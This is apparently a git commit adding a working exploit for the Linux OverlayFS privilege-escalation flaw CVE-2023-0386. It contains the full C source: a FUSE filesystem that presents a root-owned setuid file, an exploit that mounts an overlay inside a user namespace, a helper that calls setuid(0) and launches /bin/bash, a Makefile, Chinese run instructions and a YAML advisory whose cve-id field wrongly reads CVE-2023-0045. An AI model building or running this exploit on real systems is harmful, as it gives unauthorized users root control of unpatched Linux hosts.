ADD CVE-2023-0386
This commit is contained in:
parent
5634d490de
commit
227fd66f74
|
@ -0,0 +1,7 @@
|
|||
all:
|
||||
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
|
||||
gcc -o exp exp.c -lcap
|
||||
gcc -o gc getshell.c
|
||||
|
||||
clean:
|
||||
rm -rf exp gc fuse
|
|
@ -0,0 +1,16 @@
|
|||
# 编译
|
||||
```bash
|
||||
make all
|
||||
```
|
||||
# 使用
|
||||
启动两个终端,在第一个终端中输入
|
||||
```bash
|
||||
./fuse ./ovlcap/lower ./gc
|
||||
```
|
||||
在第二个终端输入
|
||||
```bash
|
||||
./exp
|
||||
```
|
||||
# 效果
|
||||
提权效果
|
||||

|
|
@ -0,0 +1,124 @@
|
|||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <err.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/mount.h>
|
||||
#include <sys/capability.h>
|
||||
// #include <attr/xattr.h>
|
||||
// #include <sys/xattr.h>
|
||||
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
|
||||
#define DIR_BASE "./ovlcap"
|
||||
#define DIR_WORK DIR_BASE "/work"
|
||||
#define DIR_LOWER DIR_BASE "/lower"
|
||||
#define DIR_UPPER DIR_BASE "/upper"
|
||||
#define DIR_MERGE DIR_BASE "/merge"
|
||||
#define BIN_MERGE DIR_MERGE "/magic"
|
||||
#define BIN_UPPER DIR_UPPER "/magic"
|
||||
static void xmkdir(const char *path, mode_t mode)
|
||||
{
|
||||
if (mkdir(path, mode) == -1 && errno != EEXIST)
|
||||
err(1, "mkdir %s", path);
|
||||
}
|
||||
static void xwritefile(const char *path, const char *data)
|
||||
{
|
||||
int fd = open(path, O_WRONLY);
|
||||
if (fd == -1)
|
||||
err(1, "open %s", path);
|
||||
ssize_t len = (ssize_t)strlen(data);
|
||||
if (write(fd, data, len) != len)
|
||||
err(1, "write %s", path);
|
||||
close(fd);
|
||||
}
|
||||
|
||||
static void xreadfile(const char *path)
|
||||
{
|
||||
int fd = open(path, O_RDONLY);
|
||||
if (fd == -1)
|
||||
err(1, "open %s", path);
|
||||
int len = 0;
|
||||
char data[0x100];
|
||||
while (read(fd, data + len, 1) > 0)
|
||||
{
|
||||
len++;
|
||||
}
|
||||
data[len] = '\0';
|
||||
puts(data);
|
||||
printf("len %d\n", len);
|
||||
close(fd);
|
||||
}
|
||||
|
||||
void listCaps()
|
||||
{
|
||||
cap_t caps = cap_get_proc();
|
||||
ssize_t y = 0;
|
||||
printf("The process %d was give capabilities %s\n", (int)getpid(), cap_to_text(caps, &y));
|
||||
fflush(0);
|
||||
cap_free(caps);
|
||||
}
|
||||
|
||||
static int exploit()
|
||||
{
|
||||
// init work;
|
||||
char buf[4096];
|
||||
sprintf(buf, "rm -rf '%s/*'", DIR_UPPER);
|
||||
system(buf);
|
||||
xmkdir(DIR_BASE, 0777);
|
||||
xmkdir(DIR_WORK, 0777);
|
||||
xmkdir(DIR_LOWER, 0777);
|
||||
xmkdir(DIR_UPPER, 0777);
|
||||
xmkdir(DIR_MERGE, 0777);
|
||||
// mount overlay
|
||||
uid_t uid = getuid();
|
||||
gid_t gid = getgid();
|
||||
printf("uid:%d gid:%d\n", uid, gid);
|
||||
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
|
||||
err(1, "unshare");
|
||||
xwritefile("/proc/self/setgroups", "deny");
|
||||
sprintf(buf, "0 %d 1", uid);
|
||||
xwritefile("/proc/self/uid_map", buf);
|
||||
sprintf(buf, "0 %d 1", gid);
|
||||
xwritefile("/proc/self/gid_map", buf);
|
||||
|
||||
sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
|
||||
if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
|
||||
err(1, "mount %s", DIR_MERGE);
|
||||
else
|
||||
puts("[+] mount success");
|
||||
|
||||
sprintf(buf, "ls -la %s", DIR_MERGE);
|
||||
system(buf);
|
||||
sprintf(buf, "%s/file", DIR_MERGE);
|
||||
int fd = open(buf, O_WRONLY | O_CREAT, 0666); // touch file
|
||||
if (fd < 0)
|
||||
perror("open");
|
||||
close(fd);
|
||||
|
||||
// close fuse
|
||||
// kill(pid, SIGINT);
|
||||
return 0;
|
||||
}
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int pid = fork();
|
||||
int stat;
|
||||
if (pid == 0)
|
||||
{
|
||||
exploit();
|
||||
exit(0);
|
||||
}
|
||||
wait(&stat);
|
||||
// get shell
|
||||
puts("[+] exploit success!");
|
||||
char buf[0x100];
|
||||
sprintf(buf, "%s/file", DIR_UPPER);
|
||||
system(buf);
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,223 @@
|
|||
#define FUSE_USE_VERSION 29
|
||||
#include <errno.h>
|
||||
#include <fuse.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <sched.h>
|
||||
#include <sys/mman.h>
|
||||
#include <pthread.h>
|
||||
|
||||
char content[0x100000];
|
||||
int clen;
|
||||
// static char mount_path[] = "./ovlcap/lower3";
|
||||
static char mount_path[0x100];
|
||||
static char shell_path[0x100];
|
||||
static int cnt = 0;
|
||||
|
||||
void fatal(const char *msg)
|
||||
{
|
||||
perror(msg);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
static int getattr_callback(const char *path, struct stat *stbuf)
|
||||
{
|
||||
// 对应ls的callback
|
||||
puts("[+] getattr_callback");
|
||||
memset(stbuf, 0, sizeof(struct stat));
|
||||
|
||||
if (strcmp(path, "/file") == 0)
|
||||
{
|
||||
puts(path);
|
||||
stbuf->st_mode = S_IFREG | 04777; // 为了有suid权限
|
||||
// stbuf->st_mode = S_IFLNK | 0777;
|
||||
stbuf->st_nlink = 1;
|
||||
// stbuf->st_size = strlen(content);
|
||||
stbuf->st_uid = 0;
|
||||
stbuf->st_gid = 0;
|
||||
stbuf->st_size = clen;
|
||||
return 0;
|
||||
}
|
||||
else if (strcmp(path, "/") == 0)
|
||||
{
|
||||
puts(path);
|
||||
stbuf->st_mode = S_IFDIR | 0777; // 为了有suid权限
|
||||
// stbuf->st_mode = S_IFLNK | 0777;
|
||||
stbuf->st_nlink = 2;
|
||||
// stbuf->st_size = strlen(content);
|
||||
// stbuf->st_size = clen;
|
||||
stbuf->st_uid = 1000;
|
||||
stbuf->st_gid = 1000;
|
||||
return 0;
|
||||
}
|
||||
return -ENOENT;
|
||||
}
|
||||
|
||||
static int open_callback(const char *path, struct fuse_file_info *fi)
|
||||
{ // 对应open
|
||||
puts("[+] open_callback");
|
||||
puts(path);
|
||||
if (strcmp(path, "file") == 0)
|
||||
{
|
||||
int fd = open("", fi->flags);
|
||||
|
||||
return -errno;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// 对应read函数
|
||||
static int read_callback(const char *path,
|
||||
char *buf, size_t size, off_t offset,
|
||||
struct fuse_file_info *fi)
|
||||
{
|
||||
puts("[+] read_callback");
|
||||
printf(" cnt : %d\n", cnt);
|
||||
printf(" content : %s\n", content);
|
||||
printf(" clen : %d\n", clen);
|
||||
printf(" path : %s\n", path);
|
||||
printf(" size : 0x%lx\n", size);
|
||||
printf(" offset: 0x%lx\n", offset);
|
||||
char tmp;
|
||||
if (strcmp(path, "/file") == 0)
|
||||
{
|
||||
size_t len = clen;
|
||||
if (offset >= len)
|
||||
return 0;
|
||||
if ((size > len) || (offset + size > len))
|
||||
{
|
||||
memcpy(buf, content + offset, len - offset);
|
||||
return len - offset;
|
||||
}
|
||||
else
|
||||
{
|
||||
memcpy(buf, content + offset, size);
|
||||
return size;
|
||||
}
|
||||
}
|
||||
return -ENOENT;
|
||||
}
|
||||
|
||||
int read_buf_callback(const char *path, struct fuse_bufvec **bufp,
|
||||
size_t size, off_t off, struct fuse_file_info *fi)
|
||||
{
|
||||
puts("[+] read buf callback");
|
||||
printf("offset %d\n", off);
|
||||
printf("size %d\n", size);
|
||||
printf("path %s\n", path);
|
||||
struct fuse_bufvec *src;
|
||||
|
||||
src = malloc(sizeof(struct fuse_bufvec));
|
||||
if (src == NULL)
|
||||
return -ENOMEM;
|
||||
|
||||
// size_t len = clen;
|
||||
// if (off >= len)
|
||||
// return 0;
|
||||
// if ((size > len) || (offset + size > len))
|
||||
// {
|
||||
// memcpy(buf, content + offset, len - offset);
|
||||
// return len - offset;
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// memcpy(buf, content + offset, size);
|
||||
// return size;
|
||||
// }
|
||||
|
||||
*src = FUSE_BUFVEC_INIT(size);
|
||||
// src->buf[0].flags = FUSE_BUF_IS_FD | FUSE_BUF_FD_SEEK;
|
||||
// src->buf[0].fd = fi->fh;
|
||||
char *data = malloc(size);
|
||||
// strcpy(data, "hello worldaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
|
||||
memset(data, 0, size);
|
||||
memcpy(data, content, size);
|
||||
src->buf[0].flags = FUSE_BUF_FD_SEEK;
|
||||
src->buf[0].pos = off;
|
||||
src->buf[0].mem = data;
|
||||
|
||||
*bufp = src;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int ioctl_callback(const char *p, int cmd, void *arg,
|
||||
struct fuse_file_info *fi, unsigned int flags, void *data)
|
||||
{
|
||||
puts("[+] ioctl callback");
|
||||
printf("path %s\n", p);
|
||||
printf("cmd 0x%x\n", cmd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int readdir_callback(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi)
|
||||
{
|
||||
puts("[+] readdir");
|
||||
filler(buf, "file", NULL, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static struct fuse_operations fops = {
|
||||
.getattr = getattr_callback,
|
||||
.open = open_callback,
|
||||
.read = read_callback,
|
||||
.read_buf = read_buf_callback,
|
||||
.ioctl = ioctl_callback,
|
||||
.readdir = readdir_callback,
|
||||
};
|
||||
|
||||
void start_fuse()
|
||||
{
|
||||
// mk mount path
|
||||
if (mkdir(mount_path, 0777))
|
||||
perror("mkdir");
|
||||
system("rm -rf ./ovlcap/upper/*");
|
||||
|
||||
struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
|
||||
struct fuse_chan *chan;
|
||||
struct fuse *fuse;
|
||||
|
||||
if (!(chan = fuse_mount(mount_path, &args)))
|
||||
fatal("fuse_mount");
|
||||
|
||||
if (!(fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL)))
|
||||
{
|
||||
fuse_unmount(mount_path, chan);
|
||||
fatal("fuse_new");
|
||||
}
|
||||
|
||||
fuse_set_signal_handlers(fuse_get_session(fuse)); // 设置监听,当程序退出(接收到SIGINT信号)是会终止退出
|
||||
fuse_loop_mt(fuse); // 监视对文件系统的操作事件
|
||||
fuse_unmount(mount_path, chan);
|
||||
}
|
||||
|
||||
int main(int argc, char const *argv[])
|
||||
{
|
||||
// strcpy(content, "hello world!");
|
||||
// clen = strlen(content);
|
||||
if (argc < 3)
|
||||
{
|
||||
puts("[-] usage:");
|
||||
puts("./fuse [mount path] [shell path]");
|
||||
return -1;
|
||||
}
|
||||
strcpy(mount_path, argv[1]);
|
||||
strcpy(shell_path, argv[2]);
|
||||
|
||||
int fd = open(shell_path, O_RDONLY);
|
||||
if (fd < 0)
|
||||
{
|
||||
fatal("open gc");
|
||||
}
|
||||
clen = 0;
|
||||
while (read(fd, content + clen, 1) > 0)
|
||||
clen++;
|
||||
close(fd);
|
||||
|
||||
printf("[+] len of gc: 0x%x\n", clen);
|
||||
|
||||
start_fuse();
|
||||
rmdir(mount_path);
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,32 @@
|
|||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <err.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/mount.h>
|
||||
|
||||
int main(int argc, char const *argv[])
|
||||
{
|
||||
int ret;
|
||||
ret = setuid(0);
|
||||
if (ret < 0)
|
||||
{
|
||||
perror("setuid");
|
||||
return -1;
|
||||
}
|
||||
ret = setgid(0);
|
||||
if (ret < 0)
|
||||
{
|
||||
perror("setgid");
|
||||
return -1;
|
||||
}
|
||||
system("/bin/bash");
|
||||
return 0;
|
||||
}
|
Binary file not shown.
After Width: | Height: | Size: 468 KiB |
|
@ -0,0 +1,444 @@
|
|||
// gcc fuse.c -o test -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
|
||||
#define FUSE_USE_VERSION 29
|
||||
#include <errno.h>
|
||||
#include <fuse.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <sched.h>
|
||||
#include <sys/mman.h>
|
||||
#include <pthread.h>
|
||||
|
||||
int fpair[2]; // 用于进程间通信
|
||||
int pause;
|
||||
|
||||
void fatal(const char *msg)
|
||||
{
|
||||
perror(msg);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
char content[0x1000];
|
||||
int clen;
|
||||
static char mount_path[] = "./ovlcap/lower3";
|
||||
static int cnt = 0;
|
||||
|
||||
static int getattr_callback(const char *path, struct stat *stbuf)
|
||||
{
|
||||
// 对应ls的callback
|
||||
puts("[+] getattr_callback");
|
||||
memset(stbuf, 0, sizeof(struct stat));
|
||||
|
||||
if (strcmp(path, "/file") == 0)
|
||||
{
|
||||
puts(path);
|
||||
stbuf->st_mode = S_IFREG | 04777; // 为了有suid权限
|
||||
// stbuf->st_mode = S_IFLNK | 0777;
|
||||
stbuf->st_nlink = 1;
|
||||
// stbuf->st_size = strlen(content);
|
||||
stbuf->st_uid = 0;
|
||||
stbuf->st_gid = 0;
|
||||
stbuf->st_size = clen;
|
||||
return 0;
|
||||
}
|
||||
else if (strcmp(path, "/") == 0)
|
||||
{
|
||||
puts(path);
|
||||
stbuf->st_mode = S_IFDIR | 0777; // 为了有suid权限
|
||||
// stbuf->st_mode = S_IFLNK | 0777;
|
||||
stbuf->st_nlink = 2;
|
||||
// stbuf->st_size = strlen(content);
|
||||
// stbuf->st_size = clen;
|
||||
stbuf->st_uid = 1000;
|
||||
stbuf->st_gid = 1000;
|
||||
return 0;
|
||||
}
|
||||
return -ENOENT;
|
||||
}
|
||||
|
||||
static int open_callback(const char *path, struct fuse_file_info *fi)
|
||||
{ // 对应open
|
||||
puts("[+] open_callback");
|
||||
puts(path);
|
||||
if (strcmp(path, "file") == 0)
|
||||
{
|
||||
int fd = open("", fi->flags);
|
||||
|
||||
return -errno;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// 对应read函数
|
||||
static int read_callback(const char *path,
|
||||
char *buf, size_t size, off_t offset,
|
||||
struct fuse_file_info *fi)
|
||||
{
|
||||
puts("[+] read_callback");
|
||||
printf(" cnt : %d\n", cnt);
|
||||
printf(" content : %s\n", content);
|
||||
printf(" clen : %d\n", clen);
|
||||
printf(" path : %s\n", path);
|
||||
printf(" size : 0x%lx\n", size);
|
||||
printf(" offset: 0x%lx\n", offset);
|
||||
char tmp;
|
||||
if (strcmp(path, "/file") == 0)
|
||||
{
|
||||
size_t len = clen;
|
||||
if (offset >= len)
|
||||
return 0;
|
||||
if ((size > len) || (offset + size > len))
|
||||
{
|
||||
memcpy(buf, content + offset, len - offset);
|
||||
return len - offset;
|
||||
}
|
||||
else
|
||||
{
|
||||
memcpy(buf, content + offset, size);
|
||||
return size;
|
||||
}
|
||||
}
|
||||
return -ENOENT;
|
||||
}
|
||||
|
||||
int access_callback(const char *fn, int flag)
|
||||
{
|
||||
puts("[+] access_callback");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int release_callback(const char *fn, struct fuse_file_info *fi)
|
||||
{
|
||||
puts("[+] release_callback");
|
||||
puts(fn);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int readdir_callback(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi)
|
||||
{
|
||||
puts("[+] readdir");
|
||||
filler(buf, "file", NULL, 0);
|
||||
return 0;
|
||||
}
|
||||
static int statfs_callback(const char *path, struct statvfs *stvfs)
|
||||
{
|
||||
// Set the file system statistics
|
||||
stvfs->f_bsize = 4096;
|
||||
stvfs->f_blocks = 10000;
|
||||
stvfs->f_bfree = 8000;
|
||||
stvfs->f_bavail = 8000;
|
||||
stvfs->f_files = 1000;
|
||||
stvfs->f_ffree = 900;
|
||||
stvfs->f_favail = 900;
|
||||
stvfs->f_fsid = 0;
|
||||
stvfs->f_flag = 0;
|
||||
stvfs->f_namemax = 255;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int utimens_callback(const char *path, const struct timespec tv[2])
|
||||
{
|
||||
puts("[+] utimens_callback");
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int create_callback(const char *path, mode_t mode, struct fuse_file_info *fi)
|
||||
{
|
||||
puts("[+] create_callback");
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int write_callback(const char *path,
|
||||
char *buf, size_t size, off_t offset,
|
||||
struct fuse_file_info *fi)
|
||||
{
|
||||
puts("[+] write callback");
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int truncate_callback(const char *path, off_t size)
|
||||
{
|
||||
puts("[+] truncate_callback");
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int mknod_callback(const char *path, mode_t mode, dev_t dev)
|
||||
{
|
||||
puts("[+] mknod_callback");
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int fgetattr_callback(const char *path, struct stat *st, struct fuse_file_info *fi)
|
||||
{
|
||||
puts("[+] fgetattr_callback");
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int flush_callback(const char *path, struct fuse_file_info *fi)
|
||||
{
|
||||
puts("[+] flush_callback");
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int opendir_callback(const char *path, struct fuse_file_info *fi)
|
||||
{
|
||||
puts("[+] opendir_callback");
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int readlink_callback(const char *path, char *buf, size_t size)
|
||||
{
|
||||
puts("[+] readlink_callback");
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int mkdir_cb(const char *path, mode_t mode)
|
||||
{
|
||||
puts("[+] mkdir");
|
||||
return 0;
|
||||
}
|
||||
static int unlink_cb(const char *path)
|
||||
{
|
||||
puts("[+] unlink");
|
||||
return 0;
|
||||
}
|
||||
static int rmdir_cb(const char *path)
|
||||
{
|
||||
puts("[+] rmdir");
|
||||
return 0;
|
||||
}
|
||||
static int symlink_cb(const char *path1, const char *path2)
|
||||
{
|
||||
puts("[+] symblink");
|
||||
return 0;
|
||||
}
|
||||
static int rename_cb(const char *p1, const char *p2)
|
||||
{
|
||||
puts("[+] rename");
|
||||
return 0;
|
||||
}
|
||||
static int link_cb(const char *p1, const char *p2)
|
||||
{
|
||||
puts("[+] link");
|
||||
return 0;
|
||||
}
|
||||
static int chmod_cb(const char *p, mode_t m)
|
||||
{
|
||||
puts("[+] chmod");
|
||||
return 0;
|
||||
}
|
||||
static int chown_cb(const char *p, uid_t u, gid_t g)
|
||||
{
|
||||
puts("[+] chown");
|
||||
return 0;
|
||||
}
|
||||
static int fsync_cb(const char *p, int, struct fuse_file_info *fi)
|
||||
{
|
||||
puts("[+] fsync");
|
||||
return 0;
|
||||
}
|
||||
static int setxattr_cb(const char *p, const char *p1, const char *p2, size_t size, int i)
|
||||
{
|
||||
puts("[+] setxattr");
|
||||
return 0;
|
||||
}
|
||||
static int getxattr_cb(const char *p1, const char *p2, char *p3, size_t p4)
|
||||
{
|
||||
puts("[+] getxattr");
|
||||
return 0;
|
||||
}
|
||||
static int listxattr_cb(const char *p1, char *p2, size_t p3)
|
||||
{
|
||||
puts("[+] listxattr");
|
||||
return 0;
|
||||
}
|
||||
static int removexattr_cb(const char *p1, const char *p2)
|
||||
{
|
||||
puts("[+] removexattr");
|
||||
return 0;
|
||||
}
|
||||
static int releasedir_cb(const char *p1, struct fuse_file_info *fi)
|
||||
{
|
||||
puts("[+] releasedir");
|
||||
return 0;
|
||||
}
|
||||
static int fsyncdir_cb(const char *p1, int p2, struct fuse_file_info *fi)
|
||||
{
|
||||
puts("[+] fsyncdir");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// static void *(*init)(struct fuse_conn_info *conn);
|
||||
// static void (*destroy)(void *);
|
||||
static int ftruncate_cb(const char *p1, off_t off, struct fuse_file_info *fi)
|
||||
{
|
||||
puts("[+] ftruncate_cb");
|
||||
return 0;
|
||||
}
|
||||
static int lock_cb(const char *path, struct fuse_file_info *fi, int cmd, struct flock *fl)
|
||||
{
|
||||
puts("[+] lock_cb");
|
||||
return 0;
|
||||
}
|
||||
static int bmap_cb(const char *p, size_t blocksize, uint64_t *idx)
|
||||
{
|
||||
puts("[+] bmap_cb");
|
||||
return 0;
|
||||
}
|
||||
static int ioctl_cb(const char *p, int cmd, void *arg,
|
||||
struct fuse_file_info *fi, unsigned int flags, void *data)
|
||||
{
|
||||
puts("[+] ioctl cb");
|
||||
printf("path %s\n", p);
|
||||
printf("cmd 0x%x\n", cmd);
|
||||
return 0;
|
||||
}
|
||||
static int poll_cb(const char *p, struct fuse_file_info *fi,
|
||||
struct fuse_pollhandle *ph, unsigned *reventsp)
|
||||
{
|
||||
puts("[+] poll cb");
|
||||
return 0;
|
||||
}
|
||||
static int write_buf_cb(const char *p1, struct fuse_bufvec *buf, off_t off, struct fuse_file_info *fi)
|
||||
{
|
||||
puts("[+] write_buf");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int read_buf_cb(const char *path, struct fuse_bufvec **bufp,
|
||||
size_t size, off_t off, struct fuse_file_info *fi)
|
||||
{
|
||||
puts("[+] read buf callback");
|
||||
printf("offset %d\n", off);
|
||||
printf("size %d\n", size);
|
||||
printf("path %s\n", path);
|
||||
struct fuse_bufvec *src;
|
||||
|
||||
src = malloc(sizeof(struct fuse_bufvec));
|
||||
if (src == NULL)
|
||||
return -ENOMEM;
|
||||
|
||||
// size_t len = clen;
|
||||
// if (off >= len)
|
||||
// return 0;
|
||||
// if ((size > len) || (offset + size > len))
|
||||
// {
|
||||
// memcpy(buf, content + offset, len - offset);
|
||||
// return len - offset;
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// memcpy(buf, content + offset, size);
|
||||
// return size;
|
||||
// }
|
||||
|
||||
*src = FUSE_BUFVEC_INIT(size);
|
||||
// src->buf[0].flags = FUSE_BUF_IS_FD | FUSE_BUF_FD_SEEK;
|
||||
// src->buf[0].fd = fi->fh;
|
||||
char *data = malloc(size);
|
||||
src->buf[0].flags = FUSE_BUF_FD_SEEK;
|
||||
src->buf[0].pos = off;
|
||||
src->buf[0].mem = data;
|
||||
|
||||
*bufp = src;
|
||||
|
||||
return 0;
|
||||
}
|
||||
static int flock_cb(const char *p, struct fuse_file_info *fi, int op)
|
||||
{
|
||||
puts("[+] flock cb");
|
||||
return 0;
|
||||
}
|
||||
static int fallocate_cb(const char *p, int, off_t p1, off_t p2, struct fuse_file_info *fi)
|
||||
{
|
||||
puts("[+] fallocate_cb");
|
||||
return 0;
|
||||
}
|
||||
|
||||
static struct fuse_operations fops = {
|
||||
.getattr = getattr_callback,
|
||||
.open = open_callback,
|
||||
.read = read_callback,
|
||||
.access = access_callback,
|
||||
.release = release_callback,
|
||||
.readdir = readdir_callback,
|
||||
.statfs = statfs_callback,
|
||||
.utimens = utimens_callback,
|
||||
.create = create_callback,
|
||||
.write = write_callback,
|
||||
|
||||
.truncate = truncate_callback,
|
||||
.mknod = mknod_callback,
|
||||
.fgetattr = fgetattr_callback,
|
||||
.flush = flush_callback,
|
||||
.opendir = opendir_callback,
|
||||
.readlink = readlink_callback,
|
||||
|
||||
.mkdir = mkdir_cb,
|
||||
.unlink = unlink_cb,
|
||||
.rmdir = rmdir_cb,
|
||||
.symlink = symlink_cb,
|
||||
.rename = rename_cb,
|
||||
.link = link_cb,
|
||||
.chmod = chmod_cb,
|
||||
.chown = chown_cb,
|
||||
.fsync = fsync_cb,
|
||||
.setxattr = setxattr_cb,
|
||||
.getxattr = getxattr_cb,
|
||||
.listxattr = listxattr_cb,
|
||||
.removexattr = removexattr_cb,
|
||||
.releasedir = releasedir_cb,
|
||||
.fsyncdir = fsyncdir_cb,
|
||||
|
||||
.read_buf = read_buf_cb,
|
||||
.write_buf = write_buf_cb,
|
||||
|
||||
.ftruncate = ftruncate_cb,
|
||||
.lock = lock_cb,
|
||||
.bmap = bmap_cb,
|
||||
.ioctl = ioctl_cb,
|
||||
.poll = poll_cb,
|
||||
.flock = flock_cb,
|
||||
.fallocate = fallocate_cb
|
||||
|
||||
};
|
||||
|
||||
void start_fuse()
|
||||
{
|
||||
// mk mount path
|
||||
if (mkdir(mount_path, 0777))
|
||||
perror("mkdir");
|
||||
|
||||
struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
|
||||
struct fuse_chan *chan;
|
||||
struct fuse *fuse;
|
||||
|
||||
// fuse_opt_add_arg(&args, "./test");
|
||||
// fuse_opt_add_arg(&args, "-o");
|
||||
// fuse_opt_add_arg(&args, "allow_root");
|
||||
// fuse_opt_add_arg(&args, mount_path);
|
||||
|
||||
if (!(chan = fuse_mount(mount_path, &args)))
|
||||
fatal("fuse_mount");
|
||||
|
||||
if (!(fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL)))
|
||||
{
|
||||
fuse_unmount(mount_path, chan);
|
||||
fatal("fuse_new");
|
||||
}
|
||||
|
||||
fuse_set_signal_handlers(fuse_get_session(fuse)); // 设置监听,当程序退出(接收到SIGINT信号)是会终止退出
|
||||
fuse_loop_mt(fuse); // 监视对文件系统的操作事件
|
||||
fuse_unmount(mount_path, chan);
|
||||
}
|
||||
|
||||
int main(int argc, char const *argv[])
|
||||
{
|
||||
strcpy(content, "hello world!");
|
||||
clen = strlen(content);
|
||||
start_fuse();
|
||||
rmdir(mount_path);
|
||||
// getchar();
|
||||
return 0;
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,52 @@
|
|||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sched.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/mount.h>
|
||||
#include <linux/fs.h>
|
||||
|
||||
int main(int argc, char const *argv[])
|
||||
{
|
||||
/* code */
|
||||
/*
|
||||
mount -t overlay overlay -o lowerdir=/tmp/test1,upperdir=/home/obric/CVE-2023-0386/upper,workdir=/home/obric/CVE-2023-0386/work /home/obric/CVE-2023-0386/fs
|
||||
*/
|
||||
int ret;
|
||||
ret = unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWCGROUP);
|
||||
if (ret < 0)
|
||||
{
|
||||
perror("mnt failed");
|
||||
return -1;
|
||||
}
|
||||
puts("[+] unshare mnt success");
|
||||
|
||||
char lowerdir[] = "/home/xk/ocean/test_overlay/lower";
|
||||
char upperdir[] = "/home/xk/ocean/test_overlay/upper";
|
||||
char workdir[] = "/home/xk/ocean/test_overlay/work";
|
||||
char targetdir[] = "/home/xk/ocean/test_overlay/fs";
|
||||
|
||||
char options[0x1000];
|
||||
snprintf(options, 0x1000, "lowerdir=%s,upperdir=%s,workdir=%s,rw", lowerdir, upperdir, workdir);
|
||||
// ret=mount("overlay", targetdir, "overlay", MS_NODEV, options);
|
||||
// ret = mount("none", "/", "none", MS_SLAVE | MS_REC, 0);
|
||||
ret = mount("overlay", targetdir, "overlay", MS_NOATIME | MS_NODIRATIME | MS_NODEV, options);
|
||||
if (ret < 0)
|
||||
{
|
||||
perror("mount overlay");
|
||||
return -1;
|
||||
}
|
||||
puts("[+] OverlayFS mounted.");
|
||||
char cmd[0x1000];
|
||||
sprintf(cmd, "ls -la %s", "/home/xk/ocean/test_overlay/fs");
|
||||
system(cmd);
|
||||
sprintf(cmd, "touch %s", "/home/xk/ocean/test_overlay/fs/mnt");
|
||||
system(cmd);
|
||||
getchar();
|
||||
|
||||
umount(targetdir);
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,21 @@
|
|||
id: CVE-2023-0386
|
||||
source: https://github.com/xkaneiki/CVE-2023-0386
|
||||
info:
|
||||
name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。
|
||||
severity: High
|
||||
description: |
|
||||
该漏洞存在于Linux内核的OverlayFS子系统中,是一个权限提升漏洞。当用户将一个具有权限的文件从一个nosuid挂载点复制到另一个挂载点时,未经授权的本地用户可以执行 setuid文件,导致权限提升。
|
||||
scope-of-influence:
|
||||
v5.11-rc1 <= Linux Kernel <= v6.2-rc5
|
||||
reference:
|
||||
- https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2023-0386
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2023-0386
|
||||
- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 7.8
|
||||
cve-id: CVE-2023-0045
|
||||
cwe-id: CWE-282
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
